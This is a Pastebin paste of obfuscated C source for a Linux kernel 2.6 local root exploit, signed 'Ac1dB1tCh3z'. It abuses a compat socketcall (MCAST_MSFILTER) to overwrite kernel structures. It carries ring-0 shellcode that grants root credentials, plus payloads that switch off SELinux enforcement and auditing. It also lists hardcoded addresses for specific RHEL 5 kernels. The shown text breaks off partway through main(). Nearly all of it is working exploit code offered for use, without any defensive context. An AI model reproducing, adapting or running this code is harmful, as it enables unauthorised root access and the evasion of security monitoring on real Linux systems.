4sn3z

Untitled

Mar 28th, 2017
115
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 23.38 KB | None | 0 0
  1. #include <poll.h>
  2. #include <string.h>
  3. #include <unistd.h>
  4. #include <sys/types.h>
  5. #include <stdlib.h>
  6. #include <sys/wait.h>
  7. #include <sys/utsname.h>
  8. #include <sys/socket.h>
  9. #include <sched.h>
  10. #include <netinet/in.h>
  11. #include <stdio.h>
  12. #include <sys/stat.h>
  13. #include <fcntl.h>
  14. #include <sys/mman.h>
  15. #include <sys/ipc.h>
  16. #include <sys/msg.h>
  17. #include <errno.h>
  18.  
  19.  
  20. #ifndef __i386__
  21. #error "r34d th3 c0d3 m0r0n!!# () #"
  22. #else
  23. #define _GNU_SOURCE
  24. #define __dgdhdytrg55 unsigned int
  25. #define __yyrhdgdtfs66ytgetrfd unsigned long long
  26. #define __dhdyetgdfstreg__ memcpy
  27.  
  28. #define VERT                  "\033[32m"
  29. #define NORM                  "\033[0m"
  30. #define BANNER                VERT"Ac1dB1tCh3z "NORM"VS Linux kernel 2.6 kernel 0d4y\n"
  31.  
  32. #define KALLSYMS              "/proc/kallsyms"
  33. #define TMAGIC_66TDFDRTS      "/proc/timer_list"
  34. #define SELINUX_PATH          "/selinux/enforce"
  35. #define RW_FOPS               "timer_list_fops"
  36. #define PER_C_DHHDYDGTREM7765 "per_cpu__current_task"
  37. #define PREPARE_GGDTSGFSRFSD  "prepare_creds"
  38. #define OVERRIDE_GGDTSGFSRFSD "override_creds"
  39. #define REVERT_DHDGTRRTEFDTD  "revert_creds"
  40. #define Y0Y0SMAP              0x100000UL
  41. #define Y0Y0CMAP              0x200000UL
  42. #define Y0Y0STOP              (Y0Y0SMAP+0xFFC)
  43. #define J0J0S                 0x00200000UL
  44. #define J0J0R00T              0x002000F0UL
  45. #define PAGE_SIZE             0x1000
  46.  
  47. #define KERN_DHHDYTMLADSFPYT     0x1
  48. #define KERN_DGGDYDTEGGETFDRLAK  0x2
  49. #define KERN_HHSYPPLORQTWGFD     0x4
  50.  
  51.  
  52. #define KERN_DIS_GGDYYTDFFACVFD_IDT      0x8
  53. #define KERN_DIS_DGDGHHYTTFSR34353_FOPS     0x10
  54. #define KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM      0x20
  55.  
  56. #define KERN_DIS_GGSTEYGDTREFRET_SEL1NUX  0x40
  57.  
  58. #define isRHHGDPPLADSF(ver) (strstr(ver, ".el4") || strstr(ver,".el5"))
  59.  
  60. #define TRY_REMAP_DEFAULT 1
  61.  
  62. #define __gggdfstsgdt_dddex(f, a...) do { fprintf(stdout, f, ## a); } while(0)
  63. #define __pppp_tegddewyfg(s) do { fprintf(stdout, "%s", s); } while(0)
  64. #define __xxxfdgftr_hshsgdt(s) do { perror(s); exit(-1); } while(0)
  65. #define __yyy_tegdtfsrer(s) do { fprintf(stderr, s); exit(-1); } while(0)
  66.  
  67. static char buffer[1024];
  68. static int s;
  69. static int flags=0;
  70. volatile static socklen_t magiclen=0;
  71. static int useidt=0, usefops=0, uselsm=0;
  72. static __yyrhdgdtfs66ytgetrfd _m_fops=0,_m_cred[3] = {0,0,0};
  73. static __dgdhdytrg55 _m_cpu_off=0;
  74. static char krelease[64];
  75. static char kversion[128];
  76.  
  77. #define R0C_0FF 14
  78. static char ttrg0ccc[]=
  79. "\x51\x57\x53\x56\x48\x31\xc9\x48\x89\xf8\x48\x31\xf6\xbe\x41\x41\x41\x41"  
  80. "\x3b\x30\x75\x1f\x3b\x70\x04\x75\x1a\x3b\x70\x08\x75\x15\x3b\x70\x0c"  
  81. "\x75\x10\x48\x31\xdb\x89\x18\x89\x58\x04\x89\x58\x08\x89\x58\x0c\xeb\x11"    
  82. "\x48\xff\xc0\x48\xff\xc1\x48\x81\xf9\x4c\x04\x00\x00\x74\x02"                  
  83. "\xeb\xcc\x5e\x5b\x5f\x59\xc3";              
  84.  
  85.  
  86. #define R0YTTTTUHLFSTT_OFF1 5
  87. #define R0YGGSFDARTDF_DHDYTEGRDFD_D 21
  88. #define R0TDGFSRSLLSJ_SHSYSTGD 45
  89. char r1ngrrrrrrr[]=
  90. "\x53\x52\x57\x48\xbb\x41\x41\x41\x41\x41\x41\x41\x41\xff\xd3"                                
  91. "\x50\x48\x89\xc7\x48\xbb\x42\x42\x42\x42\x42\x42\x42\x42"  
  92. "\xff\xd3\x48\x31\xd2\x89\x50\x04\x89\x50\x14\x48\x89\xc7"                              
  93. "\x48\xbb\x43\x43\x43\x43\x43\x43\x43\x43"  
  94. "\xff\xd3\x5f\x5f\x5a\x5b\xc3";                                      
  95.  
  96.  
  97. #define RJMPDDTGR_OFF 13
  98. #define RJMPDDTGR_DHDYTGSCAVSF 7
  99. #define RJMPDDTGR_GDTDGTSFRDFT 25
  100. static char ttrfd0[]=
  101. "\x57\x50\x65\x48\x8b\x3c\x25\x00\x00\x00\x00"
  102. "\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41\xff\xd0"                      
  103. "\x58\x5f"
  104. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  105. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  106. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  107. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  108. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  109. "\xc3";
  110.  
  111.  
  112. /* implement selinux bypass for IDT ! */
  113. #define RJMPDDTGR_OFF_IDT 14
  114. #define RJMPDDTGR_DYHHTSFDARE 8
  115. #define RJMPDDTGR_DHDYSGTSFDRTAC_SE 27
  116. static char ruujhdbgatrfe345[]=
  117. "\x0f\x01\xf8\x65\x48\x8b\x3c\x25\x00\x00\x00\x00"      
  118. "\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41\xff\xd0"                                  
  119. "\x0f\x01\xf8"
  120. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  121. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  122. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  123. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  124. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  125. "\x48\xcf";  
  126.  
  127.  
  128.  
  129. #define CJE_4554TFFDTRMAJHD_OFF  10
  130. #define RJMPDDTGR_AYYYDGTREFCCV7761_OF      23
  131. static char dis4blens4sel1nuxhayettgdr64545[]=
  132. "\x41\x52\x50"
  133. "\xb8\x00\x00\x00\x00"
  134. "\x49\xba\x41\x41\x41\x41\x41\x41\x41\x41"
  135. "\x41\x89\x02"
  136. "\x49\xba\x42\x42\x42\x42\x42\x42\x42\x42"
  137. "\x41\x89\x02"
  138. "\x58\x41\x5a";          
  139.  
  140.  
  141.  
  142.  
  143. /* rhel LSM stuffs */
  144. #define RHEL_LSM_OFF 98
  145.  
  146. struct LSM_rhel
  147. {
  148.   __yyrhdgdtfs66ytgetrfd selinux_ops;
  149.   __yyrhdgdtfs66ytgetrfd capability_ops;
  150.   __yyrhdgdtfs66ytgetrfd dummy_security_ops;
  151.  
  152.   __yyrhdgdtfs66ytgetrfd selinux_enforcing;
  153.   __yyrhdgdtfs66ytgetrfd audit_enabled;
  154.  
  155.   const char *krelease;
  156.   const char *kversion;
  157.  
  158. };
  159.  
  160. struct LSM_rhel known_targets[4]=
  161. {
  162.   {
  163.     0xffffffff8031e600ULL,
  164.     0xffffffff8031fec0ULL,
  165.     0xffffffff804acc00ULL,
  166.  
  167.     0xffffffff804af960ULL,
  168.     0xffffffff8049b124ULL,
  169.  
  170.     "2.6.18-164.el5",
  171.     "#1 SMP Thu Sep 3 03:28:30 EDT 2009"  // to manage minor/bug fix changes
  172.   },
  173.   {
  174.    0xffffffff8031f600ULL,
  175.    0xffffffff80320ec0ULL,
  176.    0xffffffff804afc00ULL,
  177.  
  178.    0xffffffff804b2960ULL,
  179.    0xffffffff8049e124ULL,
  180.  
  181.    "2.6.18-164.11.1.el5",
  182.    "#1 SMP Wed Jan 6 13:26:04 EST 2010"
  183.   },
  184.   {
  185.     0xffffffff805296a0ULL,
  186.     0xffffffff8052af60ULL,
  187.     0xffffffff806db1e0ULL,
  188.  
  189.     0xffffffff806ddf40ULL,
  190.     0xffffffff806d5324ULL,
  191.  
  192.     "2.6.18-164.11.1.el5xen",
  193.     "#1 SMP Wed Jan 20 08:06:04 EST 2010"   // default xen
  194.   },
  195.   {
  196.     0xffffffff8031f600ULL,// d selinux_ops
  197.     0xffffffff80320ec0ULL,// d capability_ops
  198.     0xffffffff804afc00ULL,// B dummy_security_ops
  199.  
  200.     0xffffffff804b2960ULL,// B selinux_enforcing
  201.     0xffffffff8049e124ULL,// B audit_enabled
  202.  
  203.     "2.6.18-164.11.1.el5",
  204.     "#1 SMP Wed Jan 20 07:32:21 EST 2010" // tripwire target LoL
  205.    }
  206.  
  207. };
  208.  
  209. static struct LSM_rhel *curr_target=NULL, dyn4nt4n1labeggeyrthryt;
  210.  
  211. struct socketcallAT
  212. {
  213.   int s;
  214.   int level;
  215.   int optname;
  216.   void *optval;
  217.   volatile socklen_t *optlen;  
  218. }__attribute__((packed));
  219.  
  220. struct idt64from32_s
  221. {
  222.   unsigned short limit;
  223.   unsigned long base;
  224. }__attribute__((packed));
  225.  
  226. static __yyrhdgdtfs66ytgetrfd getidt()
  227. {
  228.   struct idt64from32_s idt;
  229.   memset(&idt, 0x00, sizeof(struct idt64from32_s));
  230.   asm volatile("sidt %0" : "=m"(idt));
  231.   return idt.base | 0xFFFFFFFF00000000ULL;
  232. }
  233.  
  234.  
  235. static int isSelinuxEnabled()
  236. {
  237.   FILE *selinux_f;
  238.   selinux_f = fopen(SELINUX_PATH, "r");
  239.   if(selinux_f == NULL)
  240.   {
  241.     if(errno == EPERM)
  242.       return 1;
  243.     else
  244.      return 0;
  245.   }
  246.  
  247.   fclose(selinux_f);
  248.   return 1;
  249. }
  250.  
  251. static int wtfyourunhere_heee(char *out_release, char* out_version)
  252. {
  253.  int ret; const char*ptr;
  254.  int count=0;
  255.  char r[32], *bptr;
  256.  struct utsname buf;
  257.  ret =  uname(&buf);
  258.  
  259.  if(ret < 0)
  260.    return -1;
  261.  
  262.  strcpy(out_release, buf.release);
  263.  strcpy(out_version, buf.version);
  264.  
  265.  ptr = buf.release;
  266.  bptr = r;
  267.  memset(r, 0x00, sizeof(r));
  268.  while(*ptr)
  269.  {
  270.    if(count == 2)
  271.     {
  272.       if(*ptr >= '0' && *ptr <= '9')
  273.         *bptr++ = *ptr;
  274.       else
  275.         break;
  276.     }
  277.  
  278.    if(*ptr == '.')
  279.      count++;
  280.    ptr++;
  281.  }
  282.  
  283.  if(strlen(r) < 1 || !atoi(r))
  284.    return -1;
  285.  
  286.  return atoi(r);
  287. }
  288.  
  289.  
  290. static void p4tch_sel1nux_codztegfaddczda(struct LSM_rhel *table)
  291. {
  292.   *((__yyrhdgdtfs66ytgetrfd *)(dis4blens4sel1nuxhayettgdr64545 + CJE_4554TFFDTRMAJHD_OFF)) = table->selinux_enforcing;
  293.   *((__yyrhdgdtfs66ytgetrfd *)(dis4blens4sel1nuxhayettgdr64545 + RJMPDDTGR_AYYYDGTREFCCV7761_OF)) = table->audit_enabled;
  294.   __dhdyetgdfstreg__(ttrfd0 + RJMPDDTGR_GDTDGTSFRDFT, dis4blens4sel1nuxhayettgdr64545, sizeof(dis4blens4sel1nuxhayettgdr64545)-1);
  295.   __dhdyetgdfstreg__(ruujhdbgatrfe345 + RJMPDDTGR_DHDYSGTSFDRTAC_SE, dis4blens4sel1nuxhayettgdr64545, sizeof(dis4blens4sel1nuxhayettgdr64545)-1);
  296. }
  297.  
  298.  
  299. static __yyrhdgdtfs66ytgetrfd get_sym_ex(const char* s, const char* filename, int ignore_flag)
  300. {
  301.   FILE *ka;
  302.   char line[512];
  303.   char reloc_a[64];
  304.   char reloc[64];
  305.  
  306.   if(!(flags & KERN_HHSYPPLORQTWGFD) && !ignore_flag)
  307.     return 0;
  308.  
  309.   ka = fopen(filename, "r");
  310.   if(!ka)
  311.     return 0;
  312.  
  313.   while(fgets(line, 512, ka) != NULL)
  314.   {
  315.     char *l_p  = line;
  316.     char *ra_p = reloc_a;
  317.     char *r_p    = reloc;
  318.     memset(reloc, 0x00, sizeof(reloc));
  319.     memset(reloc_a, 0x00, sizeof(reloc_a));
  320.     while(*l_p != ' ' && (ra_p - reloc_a)  < 64)
  321.       *ra_p++ = *l_p++;  
  322.     l_p += 3;
  323.     while(*l_p != ' ' && *l_p != '\n' && *l_p != '\t' && (r_p - reloc) < 64)
  324.       *r_p++ = *l_p++;
  325.  
  326.     if(!strcmp(reloc, s))
  327.     {
  328.       __gggdfstsgdt_dddex("$$$ %s->%s\n", s, reloc_a);
  329.       return strtoull(reloc_a, NULL, 16);
  330.     }
  331.   }
  332.  
  333.   return 0;
  334. }
  335.  
  336.  
  337. static inline __yyrhdgdtfs66ytgetrfd get_sym(const char* s)
  338. {
  339.   return get_sym_ex(s, KALLSYMS, 0);
  340. }
  341.  
  342. static int parse_cred(const char* val)
  343. {
  344.   int i=0;
  345.   const char* p = val;
  346.   char local[64], *l;
  347.   for(i=0; i<3; i++)  
  348.   {
  349.     memset(local, 0x00, sizeof(local));
  350.     l = local;
  351.     while(*p && *p != ',')
  352.       *l++ = *p++;
  353.  
  354.     if(!(*p) && i != 2)
  355.       return -1;
  356.  
  357.     _m_cred[i] = strtoull(local, NULL, 16);
  358.     p++;
  359.   }
  360.  
  361.   return 0;
  362. }
  363.  
  364.  
  365. #define SELINUX_OPS        "selinux_ops"
  366. #define DUMMY_SECURITY_OPS "dummy_security_ops"
  367. #define CAPABILITY_OPS     "capability_ops"
  368. #define SELINUX_ENFORCING  "selinux_enforcing"
  369. #define AUDIT_ENABLED      "audit_enabled"
  370.  
  371. struct LSM_rhel *lsm_rhel_find_target(int check_rhel)
  372. {
  373.    int i;
  374.    char mapbuf[128];
  375.    struct LSM_rhel *lsm = &(known_targets[0]);
  376.  
  377.    if(check_rhel && !isRHHGDPPLADSF(krelease))
  378.    {
  379.      __pppp_tegddewyfg("!!! N0t a RH3l k3rn3l \n");
  380.      return NULL;
  381.    }
  382.  
  383.    __pppp_tegddewyfg("$$$ L00k1ng f0r kn0wn t4rg3tz.. \n");
  384.    for(i=0; i<sizeof(known_targets)/sizeof(struct LSM_rhel); i++, lsm++)
  385.    {
  386.      if(!strcmp(krelease, lsm->krelease) && !strcmp(kversion, lsm->kversion))
  387.      {
  388.        __gggdfstsgdt_dddex("$$$ Th1z b1tch 1z t0azt. kn0wn t4rg3t: %s %s \n", lsm->krelease, lsm->kversion);
  389.        return lsm;
  390.      }
  391.    }
  392.  
  393.    __pppp_tegddewyfg("$$$ c0mput3r 1z aqu1r1ng n3w t4rg3t...\n");
  394.    strcpy(mapbuf, "/boot/System.map-");
  395.    strcat(mapbuf, krelease);
  396.  
  397.    dyn4nt4n1labeggeyrthryt.selinux_ops        = get_sym_ex(SELINUX_OPS, mapbuf, 1);
  398.    dyn4nt4n1labeggeyrthryt.dummy_security_ops = get_sym_ex(DUMMY_SECURITY_OPS, mapbuf, 1);
  399.    dyn4nt4n1labeggeyrthryt.capability_ops     = get_sym_ex(CAPABILITY_OPS, mapbuf, 1);
  400.    dyn4nt4n1labeggeyrthryt.selinux_enforcing  = get_sym_ex(SELINUX_ENFORCING, mapbuf, 1);
  401.  
  402.  dyn4nt4n1labeggeyrthryt.audit_enabled      = get_sym_ex(AUDIT_ENABLED, mapbuf, 1);
  403.  
  404.  
  405.    if(!dyn4nt4n1labeggeyrthryt.selinux_ops ||
  406.       !dyn4nt4n1labeggeyrthryt.dummy_security_ops ||
  407.       !dyn4nt4n1labeggeyrthryt.capability_ops ||
  408.       !dyn4nt4n1labeggeyrthryt.selinux_enforcing ||
  409.       !dyn4nt4n1labeggeyrthryt.audit_enabled)
  410.     return NULL;
  411.  
  412.  
  413.    return &dyn4nt4n1labeggeyrthryt;
  414. }
  415.  
  416. static void put_your_hands_up_hooker(int argc, char *argv[])
  417. {
  418.   int fd,ver,ret;
  419.   char __b[16];
  420.  
  421.  
  422.   fd = open(KALLSYMS, O_RDONLY);
  423.   ret = read(fd, __b, 16); // dummy read
  424.   if((fd >= 0 && ret > 0))
  425.   {
  426.     __pppp_tegddewyfg("$$$ Kallsyms +r\t\n"); // d0nt p4tch m3 br0
  427.     flags |= KERN_HHSYPPLORQTWGFD;
  428.   }
  429.   close(fd);
  430.  
  431.   ver = wtfyourunhere_heee(krelease, kversion);
  432.   if(ver < 0)
  433.     __yyy_tegdtfsrer("!!!  Un4bl3 t0 g3t r3l3as3 wh4t th3 fuq!\n");
  434.  
  435.   __gggdfstsgdt_dddex("$$$ K3rn3l r3l3as3: %s\n", krelease);
  436.  
  437.  
  438.   if(argc != 1)
  439.   {
  440.     while( (ret = getopt(argc, argv, "siflc:k:o:")) > 0)
  441.     {
  442.       switch(ret)
  443.       {
  444.         case 'i':
  445.           flags |= KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM|KERN_DIS_DGDGHHYTTFSR34353_FOPS;
  446.           useidt=1; // u have to use -i to force IDT Vector
  447.           break;
  448.  
  449.         case 'f':
  450.           flags |= KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM|KERN_DIS_GGDYYTDFFACVFD_IDT;
  451.           break;
  452.    
  453.     case 'l':
  454.       flags |= KERN_DIS_GGDYYTDFFACVFD_IDT|KERN_DIS_DGDGHHYTTFSR34353_FOPS;
  455.       break;
  456.  
  457.         case 'c':
  458.           if(!optarg || parse_cred(optarg) < 0)
  459.               __yyy_tegdtfsrer("!!! Un4bl3 t0 p4s3 cr3d c0d3z\n");
  460.           break;
  461.  
  462.         case 'k':
  463.           if(optarg)
  464.             _m_fops = strtoull(optarg, NULL, 16);
  465.           else
  466.          __yyy_tegdtfsrer("!!! Un4bl3 t0 p4rs3 f0P numb3rs\n");
  467.           break;
  468.  
  469.         case 's':
  470.           if(!isSelinuxEnabled())
  471.             __pppp_tegddewyfg("??? wh4t th3 fuq s3l1nux 1z n0t 3v3n 3n4bl3d!?\n");
  472.           else
  473.             flags |= KERN_DIS_GGSTEYGDTREFRET_SEL1NUX;
  474.           break;
  475.            
  476.         case 'o':
  477.           if(optarg)
  478.             _m_cpu_off = strtoull(optarg, NULL, 16);
  479.       else
  480.         __yyy_tegdtfsrer("!!! Un4bl3 t0 p4rs3 f0p c0mput3r numb3rs\n");
  481.           break;
  482.       }
  483.     }
  484.   }
  485.  
  486.  
  487.   if(ver >= 29) // needs cred structure
  488.   {
  489.     flags |= KERN_DGGDYDTEGGETFDRLAK;
  490.  
  491.     if(!_m_cred[0] || !_m_cred[1] || !_m_cred[2])
  492.     {
  493.       _m_cred[0] = get_sym(PREPARE_GGDTSGFSRFSD);
  494.       _m_cred[1] = get_sym(OVERRIDE_GGDTSGFSRFSD);
  495.       _m_cred[2] = get_sym(REVERT_DHDGTRRTEFDTD);
  496.     }
  497.  
  498.     if(!_m_cred[0] || !_m_cred[1] || !_m_cred[2])
  499.     {
  500.       __yyy_tegdtfsrer("!!! Err0r 1n s3tt1ng cr3d sh3llc0d3z\n");
  501.     }
  502.    
  503.     __pppp_tegddewyfg("$$$ Kernel Credentials detected\n");
  504.     *((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0YTTTTUHLFSTT_OFF1)) = _m_cred[0];
  505.     *((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0YGGSFDARTDF_DHDYTEGRDFD_D)) = _m_cred[1];
  506.     *((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0TDGFSRSLLSJ_SHSYSTGD)) = _m_cred[2];
  507.   }
  508.  
  509.   if(ver >= 30)  // needs cpu offset
  510.   {
  511.     flags |= KERN_DHHDYTMLADSFPYT;
  512.     if(!_m_cpu_off)
  513.     _m_cpu_off = (__dgdhdytrg55)get_sym(PER_C_DHHDYDGTREM7765);
  514.  
  515.     if(!_m_cpu_off)
  516.       __yyy_tegdtfsrer("!!! Err0r 1n s3tt1ng cr3d sh3llc0d3z\n");
  517.  
  518.     __pppp_tegddewyfg("$$$ K3rn3l per_cpu r3l0cs 3n4bl3d!\t\n");
  519.     *((__dgdhdytrg55 *)(ttrfd0 + RJMPDDTGR_DHDYTGSCAVSF)) = _m_cpu_off;
  520.     *((__dgdhdytrg55 *)(ruujhdbgatrfe345 + RJMPDDTGR_DYHHTSFDARE)) = _m_cpu_off;
  521.   }
  522. }
  523.  
  524.  
  525. static void env_prepare(int argc, char* argv[])
  526. {
  527.  
  528.   put_your_hands_up_hooker(argc, argv);
  529.  
  530.   if(!(flags & KERN_DIS_DGDGHHYTTFSR34353_FOPS))  // try fops
  531.   {
  532.     __pppp_tegddewyfg("??? Trying the F0PPPPPPPPPPPPPPPPpppppppppp_____ m3th34d\n");
  533.     if(!_m_fops)
  534.       _m_fops = get_sym(RW_FOPS);
  535.  
  536.     /* TODO: do RW check for newer -mm kernels which has timer_list_struct RO
  537.      * Thanks to the guy who killed this vector... you know who you are:)
  538.      * Lucky for you, there are more:)
  539.      */
  540.  
  541.     if(_m_fops)
  542.     {
  543.       usefops=1;
  544.       __pppp_tegddewyfg("$$$ w34p0n 0f ch01c3: F0PZzZzzz\n");
  545.     }
  546.   }
  547.  
  548.  
  549.   if(!usefops && !(flags & KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM)) // try lsm(rhel)
  550.   {
  551.     curr_target = lsm_rhel_find_target(1);
  552.     if(!curr_target)
  553.     {
  554.        __pppp_tegddewyfg("!!! u4bl3 t0 f1nd t4rg3t!? W3'll s33 ab0ut th4t!\n");
  555.     }
  556.     else
  557.       uselsm=1;
  558.   }
  559.  
  560.  
  561.   if(useidt && (flags & KERN_DIS_GGSTEYGDTREFRET_SEL1NUX))
  562.   {
  563.     // -i flag
  564.     curr_target = lsm_rhel_find_target(0);
  565.     if(!curr_target)
  566.     {
  567.        __pppp_tegddewyfg("!!! Un4lb3 t0 f1nd t4rg3t: c0ntinu3 w1th0ut s3linsux d1s4bl3.\n");
  568.        /* remove Selinux Flag */
  569.        flags &= ~KERN_DIS_GGSTEYGDTREFRET_SEL1NUX;
  570.     }
  571.   }
  572.  
  573.  
  574.   if(!usefops && !useidt && !uselsm)
  575.     __yyy_tegdtfsrer("!!! 3v3ryth3ng f41l3d!!*@&^@&*^ () * try an0th3r 0d4y L0l\n");  
  576. }
  577.  
  578.  
  579. static inline int get_socklen(__yyrhdgdtfs66ytgetrfd addr, __dgdhdytrg55 stack)
  580. {
  581.   int socklen_l = 8 + stack - addr - 16;
  582.   return socklen_l;
  583. }
  584.  
  585. static struct socketcallAT at;
  586. static __dgdhdytrg55 idtover[4] =
  587.              {0x00100000UL,
  588.               0x0020ee00UL,
  589.               0x00000000UL,
  590.               0x00000000UL};
  591.  
  592.  
  593. static void fillsocketcallAT()
  594. {
  595.  at.s = s;
  596.  at.level = SOL_IP;
  597.  at.optname = MCAST_MSFILTER;
  598.  at.optval = buffer;
  599.  at.optlen = &magiclen;
  600. }
  601.  
  602.  
  603. static void bitch_call(struct socketcallAT *at, void *stack)
  604. {
  605.   asm volatile(
  606.       "push %%ebx\t\n"
  607.       "push %%esi\t\n"
  608.       "push %%ecx\t\n"
  609.       "push %%edx\t\n"
  610.       "movl $0x66, %%eax\t\n"
  611.       "movl $0xf, %%ebx\t\n"
  612.       "movl %%esp, %%esi\t\n"
  613.       "movl %0, %%ecx\t\n"
  614.       "movl %1, %%esp\t\n"
  615.       "int $0x80\t\n"
  616.       "movl %%esi, %%esp\t\n"
  617.       "pop %%edx\t\n"
  618.       "pop %%ecx\t\n"
  619.       "pop %%esi\t\n"
  620.       "pop %%ebx\t\n"
  621.       :  : "r"(at), "r"(stack)  : "memory", "eax", "ecx", "ebx", "esi"
  622.      );
  623. }
  624.  
  625. static void __setmcbuffer(__dgdhdytrg55 value)
  626. {
  627.   int i;
  628.   __dgdhdytrg55 *p = (__dgdhdytrg55*)buffer;
  629.   for(i=0; i<sizeof(buffer)/sizeof(void*); i++)
  630.     *(p+i) = value;
  631. }
  632.  
  633. static void idt_smash(__yyrhdgdtfs66ytgetrfd idtbase)
  634. {
  635.   int i;
  636.   __dgdhdytrg55 curr;
  637.   for(i=0; i<sizeof(idtover)/sizeof(idtover[0]);i++)
  638.   {
  639.     curr = idtover[i];
  640.     __setmcbuffer(curr);
  641.     magiclen =  get_socklen(idtbase + (i*4), Y0Y0STOP);
  642.     bitch_call(&at, (void*)Y0Y0STOP);
  643.   }
  644. }
  645.  
  646.  
  647. static void y0y0stack()
  648. {
  649.   void* map = mmap((void*)Y0Y0SMAP,
  650.                    PAGE_SIZE,
  651.                    PROT_READ|PROT_WRITE,
  652.                    MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED,
  653.                    -1,0);
  654.   if(MAP_FAILED == map)
  655.     __xxxfdgftr_hshsgdt("mmap");
  656. }
  657.  
  658. static void y0y0code()
  659. {
  660.   void* map = mmap((void*)Y0Y0CMAP,
  661.                    PAGE_SIZE,
  662.  
  663. #ifdef TRY_REMAP_DEFAULT
  664.            PROT_READ|PROT_WRITE,
  665. #else
  666.                    PROT_READ|PROT_WRITE|PROT_EXEC,
  667. #endif
  668.                    MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED,
  669.                    -1,0);
  670.   if(MAP_FAILED == map)
  671.     __xxxfdgftr_hshsgdt("mmap");
  672.  
  673. }
  674.  
  675.  
  676. static int rey0y0code(unsigned long old)
  677. {
  678.   int fd;
  679.   void *map;
  680.   volatile char wizard;
  681.   char cwd[1024];
  682.  
  683.   getcwd(cwd, sizeof(cwd));  
  684.   strcat(cwd, "/__tmpfile");
  685.  
  686.   unlink(cwd);
  687.   fd = open(cwd, O_RDWR|O_CREAT, S_IRWXU);
  688.   if(fd < 0)
  689.     return -1;
  690.  
  691.   write(fd, (const void*)old, PAGE_SIZE);
  692.   if(munmap((void*)old, PAGE_SIZE) < 0)
  693.     return -1;
  694.  
  695.   map = mmap((void*)old,
  696.                    PAGE_SIZE,
  697.                    PROT_READ|PROT_EXEC,
  698.                    MAP_PRIVATE|MAP_FIXED,
  699.                    fd,0);
  700.   if(map == MAP_FAILED)
  701.     return -1;
  702.  
  703.   /* avoid lazy page fault handler
  704.    * Triple Fault when using idt vector
  705.    * and no pages are already mapped:)
  706.    */
  707.  
  708.   wizard = *((char*)old);
  709.   unlink(cwd);
  710.   return wizard;
  711. }
  712.  
  713.  
  714. int main(int argc, char*argv[])
  715. {
  716.   int uid,fd;
  717.   __yyrhdgdtfs66ytgetrfd *patch, idtb;
  718.   struct pollfd pfd;
  719.  
  720.  
  721.   printf(BANNER);
  722.  
  723.   uid = getuid();
  724.  
  725.   env_prepare(argc, argv);
  726.  
  727.   y0y0stack();
  728.   y0y0code();
  729.  
  730.   if(useidt)
  731.   {
  732.     idtb = getidt();
  733.     __gggdfstsgdt_dddex("$$$ h0m3 b4s3 addr3ss: %llx\n", idtb);
  734.     __pppp_tegddewyfg("$$$ Bu1ld1ng r1ngzer0c00l sh3llc0d3 - IDT m3th34d\n");  
  735.     patch = (__yyrhdgdtfs66ytgetrfd*)(ruujhdbgatrfe345 + RJMPDDTGR_OFF_IDT);
  736.     *patch = (__yyrhdgdtfs66ytgetrfd)(J0J0R00T);
  737.  
  738.     __pppp_tegddewyfg("$$$ Prepare: m0rn1ng w0rk0ut b1tch3z\n");
  739.  
  740.     if(flags & KERN_DIS_GGSTEYGDTREFRET_SEL1NUX)
  741.     {
  742.       __pppp_tegddewyfg("$$$ add1ng sp3c14l c0de t0 rem0v3 s3linux t3rr0r1zt thr34t\n");
  743.       p4tch_sel1nux_codztegfaddczda(curr_target);
  744.     }
  745.      
  746.     __dhdyetgdfstreg__((void*)J0J0S,  ruujhdbgatrfe345, sizeof(ruujhdbgatrfe345));
  747.   }
  748.   else if(usefops || uselsm)
  749.   {
  750.     __pppp_tegddewyfg("$$$ Bu1ld1ng r1ngzer0c00l sh3llc0d3 - F0PZzzZzZZ/LSD(M) m3th34d\n");  
  751.     patch = (__yyrhdgdtfs66ytgetrfd*)(ttrfd0 + RJMPDDTGR_OFF);
  752.     *patch = (__yyrhdgdtfs66ytgetrfd)(J0J0R00T);
  753.  
  754.     __setmcbuffer(J0J0S);
  755.  
  756.     __pppp_tegddewyfg("$$$ Prepare: m0rn1ng w0rk0ut b1tch3z\n");
  757.     if(uselsm && (flags & KERN_DIS_GGSTEYGDTREFRET_SEL1NUX))
  758.     {
  759.         __pppp_tegddewyfg("$$$ add1ng sp3c14l c0de t0 rem0v3 s3linux t3rr0r1zt thr34t\n");
  760.     p4tch_sel1nux_codztegfaddczda(curr_target);
  761.     }
  762.     __dhdyetgdfstreg__((void*)J0J0S, ttrfd0, sizeof(ttrfd0));
  763.   }
  764.  
  765.  
  766.  
  767.   /* set shellcode level 2 */
  768.   if(flags & KERN_DGGDYDTEGGETFDRLAK)
  769.   {
  770.     __pppp_tegddewyfg("$$$ Us1ng cr3d s3ash3llc0d3z\n");
  771.     __dhdyetgdfstreg__((void*)J0J0R00T, r1ngrrrrrrr, sizeof(r1ngrrrrrrr));
  772.   }
  773.   else
  774.   {
  775.     __pppp_tegddewyfg("$$$ Us1ng st4nd4rd s3ash3llz\n");
  776.     __dhdyetgdfstreg__((void*)J0J0R00T,  ttrg0ccc, sizeof(ttrg0ccc));
  777.     *((unsigned int*)(J0J0R00T + R0C_0FF)) = uid;
  778.   }
  779.  
  780.   __pppp_tegddewyfg("$$$ 0p3n1ng th3 m4giq p0rt4l\n");
  781.   s = socket(AF_INET, SOCK_DGRAM, 0);
